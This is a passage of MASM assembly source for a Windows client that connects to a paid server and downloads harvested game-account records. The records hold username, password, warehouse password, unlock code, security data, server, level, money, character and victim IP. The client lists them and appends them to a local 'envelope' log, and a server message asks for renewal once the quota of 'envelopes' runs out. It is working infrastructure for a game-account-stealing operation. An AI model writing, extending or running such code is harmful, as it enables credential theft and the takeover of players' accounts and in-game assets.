invoke _ListViewSetItem,hList,@dwListviewitem,4,addr @stMsg.MsgDown.szJieSuo
invoke _ListViewSetItem,hList,@dwListviewitem,5,addr @stMsg.MsgDown.szMibao
invoke _ListViewSetItem,hList,@dwListviewitem,6,addr @stMsg.MsgDown.szServer
invoke _ListViewSetItem,hList,@dwListviewitem,7,addr @stMsg.MsgDown.szDengji
invoke _ListViewSetItem,hList,@dwListviewitem,8,addr @stMsg.MsgDown.szJinqian
invoke _ListViewSetItem,hList,@dwListviewitem,9,addr @stMsg.MsgDown.szJiaose
invoke _ListViewSetItem,hList,@dwListviewitem,10,addr @stMsg.MsgDown.szIP
invoke _ListViewSetItem,hList,@dwListviewitem,11,addr @stMsg.MsgDown.szTime
invoke wsprintf,addr szWrite,addr szFmt,/
addr @stMsg.MsgDown.szUser,addr @stMsg.MsgDown.szPass,addr @stMsg.MsgDown.szCKpass,addr @stMsg.MsgDown.szJieSuo,/
addr @stMsg.MsgDown.szMibao,addr @stMsg.MsgDown.szServer,addr @stMsg.MsgDown.szDengji,addr @stMsg.MsgDown.szJinqian,/
addr @stMsg.MsgDown.szJiaose;,addr @stMsg.MsgDown.szIP,addr @stMsg.MsgDown.szTime
invoke GetCurrentDirectory,200,addr @szBuffer
invoke lstrcat,addr @szBuffer,CTXT("/游戏信封文本.log")
invoke CreateFile,addr @szBuffer,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,/
0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov @hFiledaka,eax
invoke SetFilePointer,@hFiledaka,0,NULL,FILE_END
invoke lstrlen,addr szWrite
mov @dwWritedaka,eax
invoke WriteFile,@hFiledaka,addr szWrite,@dwWritedaka,addr @dwWritebyte1,NULL
invoke CloseHandle,@hFiledaka
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game
invoke MessageBox,0,CTXT("已经到达你所预定的信封量,要想继续提信,请续费"),CTXT("提示"),MB_ICONQUESTION
jmp _Ret
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Name
invoke MessageBox,0,CTXT("错误的用户名!"),CTXT("提示"),MB_ICONQUESTION
jmp _Ret
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game1
;invoke lstrcat,addr @szBuffer,addr @stMsg.MsgDown.szContent
;invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
;invoke SendMessage,hList,EM_SETSEL,-1,0
;invoke SendMessage,hList,EM_REPLACESEL,FALSE,addr @szBuffer
;invoke MessageBox,0,addr @stMsg.MsgDown.szContent,0,0
;invoke SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
;invoke SendDlgItemMessage,hWinMain,IDC_INFO,LB_INSERTSTRING,0,addr @szBuffer
.endif
invoke GetTickCount
mov dwLastTime,eax
.endif
.endw
jmp _Ret
invoke GetDlgItem,hWinMain,IDOK
invoke EnableWindow,eax,FALSE
;invoke GetDlgItem,hWinMain,IDC_TEXT
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_LOGOUT
invoke EnableWindow,eax,FALSE
;********************************************************************
_Ret:
.if hSocket
invoke closesocket,hSocket
xor eax,eax
mov hSocket,eax
.endif
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,TRUE
popad
ret
_WorkThread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
local @stWsa:WSADATA,@stMsg:MSG_STRUCT
mov eax,wMsg
;********************************************************************
.if eax == WM_COMMAND
mov eax,wParam
;********************************************************************
; 全部输入IP地址,用户名和密码后则激活"登录"按钮
;********************************************************************
.if (ax == IDC_SERVER) || (ax == IDC_USER) || (ax == IDC_PASS)
invoke GetDlgItemText,hWinMain,IDC_SERVER,addr szServer,sizeof szServer
invoke GetDlgItemText,hWinMain,IDC_USER,addr szUserName,sizeof szUserName
invoke GetDlgItemText,hWinMain,IDC_PASS,addr szPassword,sizeof szPassword
invoke GetDlgItem,hWinMain,IDC_LOGIN
.if szServer && szUserName && szPassword && !hSocket
invoke EnableWindow,eax,TRUE
.else
invoke EnableWindow,eax,FALSE
.endif
;********************************************************************
; 登录成功后,输入聊天语句后才激活"发送"按钮
;********************************************************************
; .elseif ax == IDC_LIST1
; invoke GetDlgItemText,hWinMain,IDC_TEXT,addr szText,sizeof szText
; invoke GetDlgItem,hWinMain,IDOK
; .if szText && hSocket
; invoke EnableWindow,eax,TRUE
; .else
; invoke EnableWindow,eax,FALSE
; .endif
;********************************************************************
.elseif ax == IDC_LOGIN
invoke DeleteFile,CTXT("游戏信封文本.log")
push ecx
invoke CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
pop ecx
invoke CloseHandle,eax
.elseif ax == IDC_BUTTON4
invoke DeleteFile,CTXT("游戏信封文本.log")
push ecx
invoke CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
pop ecx
invoke CloseHandle,eax
;********************************************************************
.elseif ax == IDC_LOGOUT
@@:
.if hSocket
invoke closesocket,hSocket
xor eax,eax
mov hSocket,eax
.endif
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,TRUE
;********************************************************************
.elseif ax == IDOK
invoke lstrcpy,addr @stMsg.MsgUp.szContent,addr szText
invoke lstrlen,addr @stMsg.MsgUp.szContent
inc eax
mov @stMsg.MsgUp.dwLength,eax
add eax,sizeof MSG_HEAD+MSG_UP.szContent
mov @stMsg.MsgHead.dwLength,eax
mov @stMsg.MsgHead.dwCmdId,CMD_MSG_UP
invoke send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
jz @B
invoke GetTickCount
mov dwLastTime,eax
; invoke SetDlgItemText,hWinMain,IDC_TEXT,NULL
; invoke GetDlgItem,hWinMain,IDC_TEXT
invoke SetFocus,eax
.endif
;********************************************************************
.elseif eax == WM_CLOSE
.if ! hSocket
invoke WSACleanup
invoke EndDialog,hWinMain,NULL
.endif
;********************************************************************
.elseif eax == WM_INITDIALOG
push hWnd
pop hWinMain
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke GetDlgItem,hWnd,IDC_LIST1
mov hList,eax
invoke GetDlgItem,hWnd,IDC_BUTTON3
mov hEdit,eax
;invoke GetDlgItem,hWnd,IDC_PROGRESS1
;mov hProgress1,eax
;mov @dwCount1,0
;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
invoke _ListViewAddColumn,hList,0,50,CTXT("ID")
invoke _ListViewAddColumn,hList,1,100,CTXT("用户")
invoke _ListViewAddColumn,hList,2,100,CTXT("密码")
invoke _ListViewAddColumn,hList,3,80,CTXT("仓库密码")
invoke _ListViewAddColumn,hList,4,100,CTXT("解锁码") ;小姐
invoke _ListViewAddColumn,hList,5,80,CTXT("密保") ;小姐
invoke _ListViewAddColumn,hList,6,80,CTXT("服务器")
invoke _ListViewAddColumn,hList,7,50,CTXT("等级")
invoke _ListViewAddColumn,hList,8,50,CTXT("金钱")
invoke _ListViewAddColumn,hList,9,50,CTXT("角色")
invoke _ListViewAddColumn,hList,10,100,CTXT("IP")
invoke _ListViewAddColumn,hList,11,100,CTXT("时间")
invoke WSAStartup,101h,addr @stWsa
; invoke SendDlgItemMessage,hWinMain,IDC_SERVER,EM_SETLIMITTEXT,15,0
; invoke SendDlgItemMessage,hWinMain,IDC_USER,EM_SETLIMITTEXT,11,0
; invoke SendDlgItemMessage,hWinMain,IDC_PASS,EM_SETLIMITTEXT,11,0
; invoke SendDlgItemMessage,hWinMain,IDC_TEXT,EM_SETLIMITTEXT,250,0
invoke ShellExecute,0,0,CTXT("http://www.game8.cc/"),0,0,SW_SHOW
.elseif eax == WM_NOTIFY
mov eax,wParam
.if eax == IDC_LIST1
push edi
mov edi, lParam
.if [edi.NMHDR].code == NM_DBLCLK ;双击
invoke RtlZeroMemory,addr szMessage,sizeof szMessage
invoke RtlZeroMemory,addr szMessage1,sizeof szMessage
invoke RtlZeroMemory,addr szMessage2,sizeof szMessage
invoke RtlZeroMemory,addr szMessage3,sizeof szMessage
invoke RtlZeroMemory,addr szMessage4,sizeof szMessage
invoke RtlZeroMemory,addr szMessage5,sizeof szMessage
invoke RtlZeroMemory,addr szMessage6,sizeof szMessage
invoke RtlZeroMemory,addr szMessage7,sizeof szMessage
invoke RtlZeroMemory,addr szMessage8,sizeof szMessage
invoke RtlZeroMemory,addr szMessage9,sizeof szMessage
invoke RtlZeroMemory,addr szMessage10,sizeof szMessage
invoke RtlZeroMemory,addr szWrite,sizeof szWrite
invoke SetDlgItemText,hWnd,IDC_BUTTON3,CTXT(" ")
invoke _ListViewSelect,hList,1,addr szMessage ,sizeof szMessage
invoke _ListViewSelect,hList,2,addr szMessage1 ,sizeof szMessage
invoke _ListViewSelect,hList,3,addr szMessage2 ,sizeof szMessage
invoke _ListViewSelect,hList,4,addr szMessage3 ,sizeof szMessage
invoke _ListViewSelect,hList,5,addr szMessage4 ,sizeof szMessage
invoke _ListViewSelect,hList,6,addr szMessage5 ,sizeof szMessage
invoke _ListViewSelect,hList,7,addr szMessage6 ,sizeof szMessage
invoke _ListViewSelect,hList,8,addr szMessage7 ,sizeof szMessage
invoke _ListViewSelect,hList,9,addr szMessage8 ,sizeof szMessage
invoke _ListViewSelect,hList,10,addr szMessage9 ,sizeof szMessage
invoke _ListViewSelect,hList,11,addr szMessage10 ,sizeof szMessage
invoke wsprintf,addr szWrite,CTXT("用户:%s 密码:%s 仓库%s 解锁:%s 密保:%s 服务器:%s 等级:%s 金钱:%s 角色:%s IP:%s 时间:%s"),/
addr szMessage,addr szMessage1,addr szMessage2,addr szMessage3,addr szMessage4,addr szMessage5,addr szMessage6,addr szMessage7,addr szMessage8,/
addr szMessage9,addr szMessage10
invoke SendMessage,hEdit,EM_SETSEL,-1,0
invoke SendMessage,hEdit,EM_REPLACESEL,FALSE,addr szWrite
.endif
pop edi
.endif
;********************************************************************
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>